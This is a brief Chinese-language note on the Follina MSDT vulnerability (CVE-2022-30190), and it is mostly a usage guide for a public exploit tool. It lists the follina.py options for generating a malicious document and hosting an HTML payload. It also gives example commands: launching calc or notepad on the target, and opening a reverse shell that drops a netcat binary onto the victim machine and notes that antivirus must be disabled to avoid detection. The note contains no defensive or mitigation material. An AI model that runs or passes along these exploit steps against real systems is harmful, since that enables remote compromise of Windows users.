Follina

关于 CVE-2022-30190 的笔记

FOLLINA: CVE-2022-30190

1. 使用 Microsoft 支持诊断工具 (MSDT)

2. 利用打开的诊断窗口进行诊断，当正确执行时，为攻击者提供反向 shell。

3. Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py

4. 感谢： (a). @_johnhammond (b). @networkchuck

5. 使用方法 follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] 选项： -h, --help 显示此帮助信息并退出 --command COMMAND, -c COMMAND 在目标上运行的命令（默认：calc） --output OUTPUT, -o OUTPUT 输出的恶意文档文件（默认：./follina.doc） --interface INTERFACE, -i INTERFACE 用于托管 HTTP 服务器的网络接口或 IP 地址（默认：eth0） --port PORT, -p PORT 提供 HTTP 服务器服务的端口（默认：8000）

6. 示例 (a). 弹出 calc.exe： $ python3 follina.py
   [+] copied staging doc /tmp/9mcvbrwo [+] created maldoc ./follina.doc [+] serving html payload on :8000 (b). 弹出 notepad.exe： $ python3 follina.py -c "notepad" (c). 在端口 9001 上获取反向 shell。 注意：这会将 netcat 二进制文件下载到受害者并放置在 C:\Windows\Tasks 中。它不会清理该二进制文件。除非禁用防病毒软件，否则这会触发
   防病毒检测。 $ python3 follina.py -r 9001